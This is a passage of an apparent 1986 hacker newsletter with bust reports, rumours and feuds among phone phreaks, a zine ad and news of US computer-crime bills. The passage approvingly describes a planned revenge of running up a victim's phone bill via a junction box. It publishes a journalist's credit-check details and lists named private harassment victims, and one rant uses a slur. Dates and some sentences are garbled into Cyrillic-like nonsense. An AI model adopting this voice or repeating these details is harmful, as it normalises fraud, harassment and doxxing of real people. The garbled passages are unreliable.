About a month later he was living over at a friend's house, and the owner of the account showed up, who
just happened to be a family friend of the people MH was staying with. He asked both of them, the
teenagers, if they were using his account. They all had Compuserve accounts and the family knew they
were computer buddies. Mad Hacker said no and truthfully meant it.

Around July 1, 1986, the account owner turned the matter over to the Kalamazoo Police Department, since
CIS, Compuserve, could not find anything out beyond the dialup used to access the account. The police



called around to everyone in the area, where everyone means all the real hacks and phreaks, not
rodents who think they're bad because they use handles, including Thomas Covenant and Double Helix.
Most of everyone instantly forgot that Mad Hacker ever existed, but somehow they got hold of the phone
number where he was staying, at the time his girlfriend's house, and contacted the owner of the account
and put out a warrant for Mad Hacker's arrest.

As of now, Mad Hacker faces felony charges because of the large amount of the bill. The warrant for his
arrest has been suspended, letting the account owner handle things in his own way. The owner has
confiscated all of Mad Hacker's computer equipment, three computers and hardware, until the bill is
completely paid back.

Mad Hacker has progressed from merely delivering clever obscenities over the phone to his adversary to
actual vengeance. One example in the planning stages will be in the form of camping out in said account
owner's backyard, in a rural area, hooking up to a junction box and running the account owner's long
distance phone bill out of sight.

Mad Hacker is supposed to have a file on Junction Box Modeming coming soon; he is currently borrowing
a computer from a friend.

Information provided by Thomas Covenant

Lock Lifter busted

2 vronsa 1986 roga

Lock Lifter was busted for hacking an MCI VAX. He had downloaded a list of MCI Calling Cards that he
later abused, and in return he received a free DNR on his line for about three months. He was also given a
scare from MCI Investigations, for unknown reasons, previous to his visit from law enforcement officers. As
such, his BBS, The Black Chamber, was deleted and the userfiles were destroyed, so there really isn't
much to worry about from the users' standpoint.

Lock Lifter had been making plans to take his board down anyway, so being without The Black Chamber is
just an adjustment we would have had to make eventually regardless of Lock Lifter's bust.

Information provided by Arthur Dent / Cyclone II / Kerrang Khan / The Seker
Some notes from Cheap Shades:

I was told by Arthur Dent that Lock Lifter did not have his computer anymore, but someone using
LL's password called my AE, Metal Shop AE, for which he had lost his AE access but could still
log on, and left me feedback in all caps, not like LL would do, that said something like PLEASE
GIVE ME ACCESS TO THE GO AE FUNCTION.

Arthur Dent has now confirmed that Lock Lifter did not make the call in question and that there is definitely
a fed or someone with Lock Lifter's BBS passwords. Sysops be warned.

Daniel Zigmond: the plot thickens

13 wons 1986 roga

Daniel Zigmond appeared, for a short time, on Pirate-80. Scan Man let him on to make a statement and
then shut him off the board. It is now left to the users to decide whether or not he should be allowed back
on.

Information by Sally Ride:::Space Cadet



Some sources say that we are seeing Whacko Cracko syndrome, where the story gets more and more
bizarre as versions get modified. Like TWCB, Zigmond supposedly says one thing to one person and
something different to the next, depending on what he thinks they may want to hear.

The following information was found in an anonymous post on an unspecified bulletin board. It would
appear that someone performed a credit check on Daniel Zigmond, with TRW, and came up with some
very interesting results.

As many of you should know, TRW keeps records of all major transactions you make, credit cards you
have, house or car payments, bank accounts you own, your job and many other things. Daniel Zigmond's
TRW account is a little different: it has been flagged and the information is not there. What it does show is
that Daniel Zigmond holds the position of Staff Programmer at Carnegie Mellon University, a technical
school in Pittsburgh, Pennsylvania. It also shows that he was born in 1959, and although it would appear
that he is 27, Daniel claims to be 26. TRW lists his only bank account as being at the Pittsburgh National
Bank.

What this would mean is that Zigmond has never owned a car, never rented a car, never owned or rented
a house, never had a credit card, never made any major transactions and has only one bank account.

During teleconferences on July 15 and 16, several members of the PhoneLine Phantoms and myself
questioned Zigmond about his TRW account and several other things. Zigmond claims to know nothing
about why his account is like this, and up until we brought up the fact that he worked at CMU, he had been
telling people that he was a reporter only.

As far as his reasons for needing codes, passwords, etc., he says it's so his boss, whomever it will be, will
believe the story. Why shouldn't he believe it? Haven't there been enough articles on hackers and
phreakers in the past? It's been in the news very often, and I'm sure everyone remembers the Richard
Sandza articles, Night of The Hackers and Revenge of The Hackers, from Newsweek
Magazine.

Most recently Daniel Zigmond has been speaking with several members of the Neon Knights, and he has
obtained an account on the BBS World's Grave Elite, sysoped by Sir Gamelord, the Vice-President of the
P.H..LR.M.

All hackers and phreaks are welcome to call him to be interviewed, although | advise against it. Please do
not call up to rag on him because it is pointless. One example happened during the second conference
when someone called on Danny's other line. They said did we wake you up? Danny said no, and then
they hung up.

Information provided by Daniel Zigmond

TeleComputist: subscribe now

25 vrona 1986 ropa

From: Forest Ranger and TeleComputist staff
To: You!

TeleComputist has had a very positive response up to this time, and we have received many requests for
the free sample issue. Now it is time to subscribe.

For the sample free issue, please send a self-addressed stamped envelope with 39 cents postage to:

TeleComputist Newsletter
P.O. Box 2003
Florissant, Mo. 63032



Also, please send subscriptions to the same address. The subscription fee for the newsletter will be twelve
dollars a year, fifty cents for back issues. This is a monthly circulation and we encourage letters.

Information provided by Telecomputist Staff
Telecomputist Newsletter/BBS (314) 921-7938

KL's notes: both Taran King and | have seen the first issue, and it is damn good. This is not a scam. We
know the TeleComputist staff personally, and they will not rip you off. The newsletter itself is of fine quality
both in its print and content. The sample issue was merely a shadow of the upcoming issues, and it will
continue to get better as time goes on. It is definitely worth the twelve dollars for the year subscription.
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U.S. Telecom retiring Uninet

26 masn 1986 ropa
Uninet is coming down

Reston, Virginia. U.S. Telecom Data Communications Company, Uninet Packet Switching Network, will
be retired as a result of the proposed merger of the company with GTE Telenet Communications
Corporation.

The move came to light last week as a joint transition study team completed a plan detailing how the two
companies will be merged. The merger is a result of a joint venture spawned by the two companies'
parents, GTE Corporation and United Telecommunications Inc.

The packet switches and related equipment which make up Uninet will be sold where possible, but a good
deal of the equipment is likely to be discarded, a spokesman for the joint venture said.

Under the plan, the capacity of GTE Telenet Packet Switching Network will be increased to handle
additional traffic resulting from transference of U.S. Telecom customers to Telenet, according to the
spokesman.

The study groups considered integrating Uninet and Telenet because the external interfaces of each
network are compatible, but the internal protocols each network uses for functions such as network
management are substantially different, and any attempt toward integration would require a massive
development effort, the spokesman said.

Moving Uninet's traffic to Telenet is far cheaper. Telenet currently supports six times as much traffic as
Uninet, which means Telenet's capacity must only be incremented by one sixth.

Uninet will be phased out over a 120-day transition period, to begin when the joint venture is approved.
The merger plan calls for all personnel of U.S. Telecom and GTE Telenet to be offered jobs with U.S.
Sprint, now called U.S. Sprint, not Sprint/U.S. Telecom company since the recent merger. The new
company is headquartered in Reston, Virginia, where GTE Telenet is currently headquartered.

Submitted by Scan Man to Phrack Inc.
From Communications Week, May 26 issue

P-80 Newsfile

Computer Crime Bill amended

14 mas 1986 roga

After three years of Congressional hearings, the U.S. House of Representatives is finally getting ready to
act on a computer crime bill. But like everything else in Congress, many different people have input, and
the focus and scope of pending computer crime bills have changed in important ways during the past few



months.

When bills are altered significantly, they are often written as clean bills and given new numbers.
Computer crime measures are changing so fast it is difficult to keep track of them.

What started out as The Counterfeit Access Device and Computer Fraud Act, HR 1001, became late last
month The Computer Fraud and Abuse Act, HR 4562, which, although it has retained the same title, is
now dubbed HR 4718 following the addition of some minor amendments.

The new bill, sponsored by Rep. William Hughes, D-N.J., is very similar to the old one, however, and
would impose severe penalties for illegally accessing government and financial computers and crack down
on illegal computer bulletin board systems.

For more information on HR 4718, check the menu for bills in the U.S. House of Representatives in the
Legislation Database.

Information provided by Cathryn Conroy

House Committee approves new Computer Crime Bill

14 mas 1986 roga

The House Judiciary Committee has approved and sent to the full House a new computer crime bill that
would impose severe penalties for illegally accessing government and financial computers and crack down
on illegal computer bulletin board systems.

The bill, HR 4718, sponsored by Rep. Wiliam Hughes, D-N.J., was passed by voice vote with no
objection. It is aimed at closing loopholes in existing law and at helping to eliminate the national
malaise of computer crime, Hughes said.

The bill will enable us to much more effectively deal with the emerging computer
criminal in our society, said Hughes, who chairs the House crime subcommittee.

Rep. Bill McCollum, R-Fla., the ranking Republican on the crime subcommittee, added his support for the
bill. He said it is time the nation began cracking down on computer criminals.

We demand privacy, yet we glorify those that break into computers, McCollum said, citing films
and television shows that have painted a sympathetic portrait of computer criminals.

The committee agreed to a single amendment to the bill, one that would extend the list of computer
systems protected by the measure to include those run by brokers and dealers regulated by the Securities
and Exchange Commission. McCollum, who sponsored the amendment, said the brokers and dealers
provide some of the same services as banks and should receive equal protection against computer
trespassers.

The bill was reported out unanimously from the crime subcommittee. Hughes said an identical companion
measure is moving through the Senate and that he expects the bill will become law before the end of the
99th Congress in December. Hughes and McCollum agreed that the bill will help eliminate another glaring
example of the failure of existing federal law to keep pace with technological advances.

For the most part, our laws are rooted in the concept of property crimes, where someone
trespasses into or steals another person's property. With computer crimes, the trespassing or
theft is done electronically, not physically. Although the losses are often just as great or even
greater than property crime, our laws are not current enough to keep pace with the changing
technology used by the criminals.



Hughes was the author of the nation's first computer crime law in 1984. That bill established a new federal
crime for unauthorized access to classified information in government computers and a misdemeanor for
accessing any federal computer or computer containing financial or credit information. The new measure
would establish:

* New felony for trespassing into federal interest computers, those run by or for the federal government,
banks or states. Offenders would face five-year prison terms.

» Second felony for maliciously trespassing into a federal interest computer and causing more than 1000
dollars in damage.

* New category of federal misdemeanors involving the use of illegal BBSes to post private information,
such as credit card data, phone account information and passwords.

We need to establish clear guidelines for protecting the information stored in computers and for
cracking down on those who knowingly put computers to criminal or malicious use, Hughes said.

Information provided by J. S. Orr

Access to government computers clarified

9 nroHA 1986 ropa

Sen. Charles McC. Mathias, R-Md., has introduced a bill in the U.S. Senate that would amend Section
1030 of Title 18 of the United States Code with the purpose of clarifying coverage with respect to access to
computers operated for or on behalf of the federal government.

The legislation would clearly impose penalties on anyone who modified, destroyed or prevented use of
information in a government computer system, or who used or disclosed individually identifiable
information in such a computer. The bill has been referred to the Senate Committee on the Judiciary. No
subcommittee has yet been assigned.

TAP Interviews Il, by Dead Lord

14 nionsa 1986 ropa

The infamous Dead Lord is back, and this time with an anonymous rag file that he entitled TaAP
Interviews I1I to start people thinking that The Infiltrator had written it. Let's look at this file in parts.

First Dead Lord starts out by saying that he is Infiltrator and then changes his mind and becomes Sharp
Razor, who is supposedly in prison. His first interview was an imaginary exchange of words between him
and Lex Luthor of the Legion of Doom. The interview also was used to rag on Infiltrator by the way it was
presented.

Dead Lord then decided to interview Executive Hacker of Chief Executive Officers, CEO. The funny part
about this interview is that Executive Hacker is another handle used by Dead Lord. The only rag
mentioned was that Executive Hacker didn't know that Ultima IV had been released and that there were
only two members in CEO. Dead Lord then goes on to say: LOD is a group of egotistical
fools...

Then started the straight rags without the interview crap. This is where old Dead Lord gives his opinion on
everything. For the first few paragraphs he rags on The Doctor, SpecElite, pirates in general, Monty
Python and The Flying Circus BBS.

Then he starts giving descriptions of the people who attend the weekly TAP meetings:



Cheshire is a tired old man, Broadway Hacker, who is an obnoxious slob anyway, stopped going,
the 950 codes kids Ninja NYC and his pals have mostly moved on, though Ninja NYC still
attends. Ninja NYC is, at 17 years old, a complete criminal, the guy has stolen everything you can
think of...

Two Sigmund Frauds also attend, they are partners. One is a skinny asshole who has an earring
and the other | never spoke to, but he is the one who supposedly does all the BBS calling. There
is also some friend of Ninja's who works for Northern Telcom.

There is some young guy with a French accent who always smiles, and some middle aged fag
who is always talking. Then there is Mark. Ye Mark, though he tries to be friendly, people try to
stay away. He works at a camera... He is slightly, very, unbalanced mentally, and always very
confused. He is teased constantly but tolerated.

There are also a few less important people, such as sid, some greasy kid who is proud to have
had a 1700+ dollar phone bill because he thought he was using a diverter. Right now, they are
generally a motley bunch. Also they get kicked out of restaurants frequently now, and are down to
meeting at Burger King. How pitiful...

After all of the above bullshit, he talks about Lord Digital, his cult, and his adventures with Paul
Muad'Dib. Dead Lord still had more to say, though. He decided to bring up Monty Python again, as well as
Phrack, TWCB, Stronghold East, Private Sector and 2600 Magazine. All of what he had to say was
completely bogus, and Dead Lord claimed to be a member of Metal Shop Private, although he called it
Metal Shop Elite, which is untrue. Fact is, he was never a member, not even on the old MSP. He also
claims that he has submitted articles for Phrack, but was turned down because they were original files.
Best bet is that whatever he was writing, he didn't know what he was talking about.

Some notes to Dead Lord, as far as why Taran King was in the hospital: first off, it was a psychiatric ward,
not a hospital. Second, why don't you go and read PWN 5-1 for the real story of what happened. Third,
the co-sysop of Stronghold East is not The Slayer, it is Slave Driver.

The truth is that both MSP and SE refused to let Dead Lord on, and he holds a grudge. He then went on to
say that both 2600 Magazine and Private Sector sucked and that they always have. Of course, | am sure
that Dead Lord could easily put out a better magazine than either 2600 or Phrack Inc., and he of course
has shown that he can run a better BBS than Private Sector or Metal Shop Private. He ragged on several
other bulletin boards such as Inner View and Speed Demon Elite.

After all that, he comes back to the subject of Legion of Doom, starts on Tribunal of Knowledge, and then
says why Chief Executive Officers is better.

LOD's main claim to fame is that Lex Luthor types up shitloads of manuals and plasters LOD all
over them. Getting published in 2600 every other month probably helps also.

Another emerging group, CEQ, isn't as ridiculous as LOD. | mean the members, all two of them,
know a lot and write intelligent stuff...

Executive Hacker and Corporate Criminal, not much of a group even if these two do stack up
better than the entire LOD.

His last rags were on Adventurer's Tavern and Disk Rigger.

Most of you by now are probably wondering how we tracked him down. Well, for starters Dead Lord made
it a lot easier on us by deciding to mention that he lived in NYC. He also talked a lot about others in the
NYC area. Dead Lord is a member of Draco Tavern. Dead Lord was refused access to Metal Shop Private
and Stronghold East. Dead Lord's file was refused for Phrack Inc. The clincher, however, was in finding
that Dead Lord was actually Executive Hacker, and I'm sure that many of you noticed that CEO, the group
Executive Hacker belongs to, was highlighted and not ragged on.



Some other interesting things about Dead Lord include the fact that he started a rumor in New York City
that Taran King had appeared on a talk show dealing with hackers, and that he is responsible for giving out
Sigmund Fraud's and Ninja NYC's numbers to Daniel Zigmond, and he probably has given him other
numbers as well.

It has been said that Dead Lord's phone number has been disconnected by outside sources several times
in the past and that the entire TAP Meeting attendees group is out to cause him major physical damage.

Quicknotes

MOB RULES was indicted on five counts of wire fraud by the Secret Service; the charges dated back to
1984. This is supposedly part of the reason that The Marauder took down Twilight Zone, but this is pure
rumor.

More talk about Broadway Hacker being a real fed or fed informant has sprung up. We at PWN are looking
for factual evidence that this is true.

Night Stalker, sysop of The Underground, was busted for something dealing with Transference of Funds. It
is unknown whether Dan Pasquale had anything to do with this bust. Credit card numbers were frequently
found there as well. His phone line is being tapped and he cannot really discuss his bust too much. He is
also under constant surveillance wherever he goes. Look for a full story in Phrack World News VII.

The rumor that Carrier Culprit was busted is untrue, but he did receive a call from AT&T Security regarding
Alliance Teleconferencing Services.
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CocrtaBun n Hanucan: Knight Lightning

HoloPhax Phreaker vs. USA

16 nrons 1986 roga

Hwxe npuBenéH cermeHT summons, served to HoloPhax Phreaker on the above date. Actual summons
6bin over 10 pages long and was mostly depositions from witnesses and/or other testimonies that
incriminate HoloPhax Phreaker. | am, of course, substituting HoloPhax Phreaker for his real name.

The United States of America and the State of Florida Vs. HoloPhax Phreaker

U.S. and Florida citizen HoloPhax Phreaker is believed and under suspicion to have violated the following
state and federal laws:

U.S. Copyright Laws
U.S. Telephone Infringement Act
Florida State Telephone Harassment Laws

Reported a false emergency to or harassed the following state bureaus:

Seminole County Police Department

Seminole County Fire Department

Orange County Emergency Line (911)

Orange County Police Department

Orange County Fire Department

Orange County Bomb Squad

Orange County Special Weapons Attack Team (S.W.A.T.)

And the following federal bureaus:

Federal Bureau of Investigation (F.B.I.), Tampa office
Federal Bureau of Investigation (F.B.I.), Orlando office
United States Secret Service, Orlando office

National Security Agency, Washington D.C. office

Central Intelligence Agency (C.I.A.), Washington D.C. office
Internal Revenue Service (I.R.S.), Tallahassee office

United States Marine Patrol, Titusville office

And to have harassed the following private citizens or companies:

John F. Sheehan Bob Driscol Erwin V. Cohen
Phillip Minkov Margaret Branch Harley Pritchard
Gladys Smith Kathleen Gallop Frank Yarish
Aida Smith Ron L. Ebbing Pat C. McCoy
Kent Schlictemier Doyle E. Bennet Arthur Meyer

Rape Crisis Center

Poison Control

Spouse Abuse

Koala Treatment Center

Chemical Dependency Unit

Florida Hospital Center for Psychiatry

Orlando General Hospital; Alcohol and Chemical Dependency Unit
Cocaine Hot Line

U.S. and Florida citizen HoloPhax Phreaker is also believed and suspected of the following felonies and/or
misdemeanors:
Illegal manipulation of telephone company controlled conversations and devices

Fraudulent Use of a Credit Card, i.e. carding
Grand Theft



Possession of Stolen Property

Defrauding the Telephone Company, i.e. phreaking

Illegal Entry, i.e. hacking

Annoying or Harassing calls

Theft

Breaking and Entering

Assault and Battery

Harassment of a Government Emergency line

Threats to the life of the President of the United States of America
Possible Treason to the United States of America

Well, wasn't that nice, especially the parts about treason and threats to the life of the President of The
United States of America.

HoloPhax Phreaker claims that the majority of the crimes, including all of the harassment charges, were
committed on an Alliance Teleconference that he was not in control of and as such had no control over
what or who was called and what happened. One example has to do with threatening the life of the
President. HoloPhax says that this was done on a conference with the U.S. Secret Service.

It all started with a phone call at about 12:30 PM on July 16, 1986. The call was placed from a CB,
Citizen's Band, radio in a car. The unknown caller told HoloPhax that the police were on their way to
search his house and would be there in 15 minutes. The caller also said that law enforcement officials had
a warrant to search HoloPhax's property, however they did not specify what was to be looked for.
HoloPhax grabbed everything he could and buried it all in his backyard.

Sure enough, within 15 minutes his expected guests arrived. One cruiser and four unmarked vehicles
pulled up, blocking his and the neighbor's driveways. About sixteen people came to the door, and
HoloPhax let them in, after all they did have a warrant. Several of them pushed HoloPhax aside and then
the search started on the first floor. While some searched through the sofa, other furniture and drawers, a
couple of them flashed the warrant as well as their identification: U.S. Secret Service and National Security
Agency.

They then went up to HoloPhax's room and immediately checked his phone's, computer's and television's
serial numbers. They also took around 30 pictures of things in his room. They then searched through
stacks of worthless printouts and confiscated several dozen of his disks that contained pirated terminal
programs, utilities, text files and games.

When they couldn't find any hack/phreak material or a modem, they became angry and started ripping the
sheets off the beds, pulling up the carpet from the floor and knocking on the walls. While most of them
were doing this, another agent handed HoloPhax a paper that stated exactly what they were looking for.

He told HoloPhax that since they had not found anything on the list, they could only leave with what little
they had and could not take HoloPhax into custody. They searched a couple of other rooms, but not as
thoroughly as they had searched HoloPhax's room. They had taken books off the shelves and flipped
through their pages, looked inside pillow cases and under some loose boards in the floor. After one to one
and a half hours they finally left and said that HoloPhax would be contacted very soon for a hearing date.

One of the more interesting members of the search team was Richard Proctor, see PWN 5-5 for more
information on Richard Proctor.

He wore little round tinted glasses so you couldn't see his eyes. He had long brown hair, longer than a
business person should, and was wearing a suit. He had fair skin, but he wasn't really tan. He looked like a
mix of a dude out of Woodstock and someone from IBM management. He didn't say much and only spoke
directly to HoloPhax once. He asked: Where the fuck are you hiding the codes!? HoloPhax
responded with: Go fuck your sister! This really pissed Proctor off. Proctor then proceeded to tear
up his room pretty badly. He seemed to know as much about HoloPhax as the NSA and Secret Service
guys did, but then he was probably briefed ahead of time.



There was also a representative from the local sheriff's department as well as one from the FBI. They
asked HoloPhax several questions, most of them directed to a mafia type group called PHBI that is
semi-local to HoloPhax's area.

They seemed to want to connect HoloPhax to many hits PHBI had done on people, businesses and the
government. They did not make clear what it was they were trying to say HoloPhax did, but they sure did
try many ways of tricking him into admitting that he was a member of this group or some other phreak or
anarchist league.

Going back to the summons, it was about ten pages long and most of it was printouts of accounts on
bulletin boards and interviews with people that knew something of HoloPhax's activities or activities of
close acquaintances.

The Infiltrator and HoloPhax used to go to the same school in 10th grade, and in the summons there was
an interview with the police officer of that school that mentioned some of the jobs that they had pulled there
and never got caught for. Infiltrator was also mentioned in a note by some guy named John Sheehan, who
had been harassed by phone and credit for one and a half years. He said that HoloPhax and Infiltrator
were responsible for the 140 hours of tape he had. Infiltrator was also mentioned in several BBS printouts.

The law enforcement officials did acquire several of the older issues of Phrack Inc. Newsletter, and they
kept trying to make HoloPhax admit to writing files on credit fraud, phreaking or hacking. Specifically, as
far as hacking, they asked about files on MILInet and ARPAnet.

The handle they were looking for was Agent Orange, which HoloPhax had gone by for six years. He
changed his handle to HoloPhax after an incident that took place roughly a year ago when HoloPhax was
busted for hacking Compuserve and NASA accounts. Law enforcement officers had also tried to get him
for phreaking, but that attempt failed.

As far as the mysterious phone call before the bust, HoloPhax thinks that maybe PHBI got wind of what
was going down and warned him. How or why, he doesn't know. It is really unknown why he is suspected
of being a member of this group.

HoloPhax admits a guilty plea for the charges of lllegal Entry, hacking, Defrauding the phone company,
phreaking, a little harassment and possession of stolen property. He pleads innocent to the rest of the
charges.

HoloPhax's last statement was that he will be back into hack/phreaking in the near, maybe distant if
convicted, future. He is always available for conferences if you have questions.

Information provided by HoloPhax Phreaker
through interview with Knight Lightning

Lightman's stories: hoax or fact?

20 vironsa 1986 roga

Many of you should remember last issue's article about David Lightman and Blade Runner. After that
article was printed, many other points of view were brought up. The following does not necessarily
represent the views of Phrack, Phrack World News or myself.

According to Ryche, a phreak in the 214 NPA, David Lightman doesn't like Blade Runner because of both
the P.H.I.R.M. and World's Grave Elite kicking him out as co-sysop of that board.

This of course made David Lightman very angry, and he decided to change Blade Runner's phone
number. This of course made Blade Runner very angry as well, and since he is over 18 years of age, he
decided to call David's father and let him know what his son has been up to. Supposedly father and son
had a long talk, and David lost his modem privileges for a while.



Ryche also cleared up the rumor about Blade Runner working for Southwestern Bell Security. David
Lightman, using Credimatic, performed a credit check on a name that he thought was Blade Runner's, but
was in reality a relative of Blade Runner. Anyway, what David found was that this person worked for ITT.
Now, as many of you should know, ITT has many subsidiaries that are non-telecom related. Nevertheless,
David interpreted this guy as being Blade Runner and then, for unknown reasons, started telling people
that Blade worked for Southwestern Bell Security.

That was all Ryche had to say about the Lightman/Runner controversy. This is what he says about David
Lightman's so-called involvement with Captain Midnight and the Administration Voice Mailbox.

When Lightman started his Administration Mailbox, several of the local rodents decided to inform the FBI
that Lightman was providing a way to defraud the phone company in the mailbox service. From then on,
the FBI must have been monitoring the mailbox themselves, and when David told everyone that Captain
Midnight could receive messages there and that he called every week, this must have made things very
interesting.

Ryche also added:

Dave set out to make everyone think he knew Captain Midnight and he could reach him. He has
also, in the past on phone conversations, said that Captain Midnight was on Administration Board
1 or some Administration board. He has also told me and a few others that he was in the Legion
Of Doom.

Information provided by Ryche

Almost all of the above article was from posts on the Phrack board on Metal Shop Private. David Lightman
said that all of what Ryche says is lies, but that he was sick of discussing it and did not want to bring it up
again.

23 nrona 1986 ropa

On Wednesday, July 23, 1986, a new message appeared on David Lightman's Voice Mailbox that said
something like this:

Attention, please listen! From this day forward, I will no longer be calling any BBSes. | have run
into trouble and | cannot discuss it over the phone line. Telecom College and the Secret Passage
on Castle Alcazar will be turned over to Radar Detr. Any associates of mine are warned to be
very careful. Any sysop whose BBS | was on is asked to delete my account. Again, | cannot
discuss this over the phone line. It has really been a blast knowing all of you guys over the past
four years. | have discovered that no one is immune to getting caught. | have also found out that
hacking/phreaking is not worth the price you pay once you are caught. Please give this news to
Knight Lightning and have him put it in Phrack World News. That is the best way | know of to
warn my associates. Again | cannot discuss this over the phone line, please do not call back.
That's about it, bye.

Please note that the above is not Lightman's exact words, but it is the general idea of what Lightman said.
Also, on the same day, Sticky Fingers, a 214 NPA phreak, got a similar message on his voice mailbox.

On Wednesday evening at about 6:30 PM, Mr. BiG, sysop of Phantasm Elite, received a call from David
Lightman, or rather someone using DL's password. Lightman didn't post on this call, which is unusual
because Lightman always posts when he calls. David Lightman logged off at about 6:45 PM. So if this
really was Lightman and he just didn't post, then that places his trouble or bust somewhere between 6:45
PM and 10:30 PM, when | called his mailbox. Question: who gets busted in the evening?

The next day, July 24, Mark Time logged on to Castle Alcazar and saw that Lightman was the last caller.
Again there were no new posts by David Lightman on the board. So, if Lightman was busted, then the law
enforcement agencies do indeed have his BBS and password files. The only other possibility is that



Lightman was not busted and that this is all a hoax performed for unknown reasons.

On the same day, Ryche called Lightman to ask what the deal was. He refused to talk about it over the
phone. However, they did set a time that Lightman would call him from a pay phone to discuss it. Later,
Lightman called Ryche back and told him that he would not discuss the bust until a few more things
were cleared up.

That evening, | learned from The Safe Cracker that David Lightman was not actually busted and that he
had received a call from AT&T Security about Blue Boxing. This could mean that they knew he boxed,
however he lives in an ESS area, or that he was on a boxed Alliance Teleconference. Either way it matters
little. Now nobody can get in touch with him and the message on his mailbox has changed.

Information provided by Sticky Fingers and Ryche
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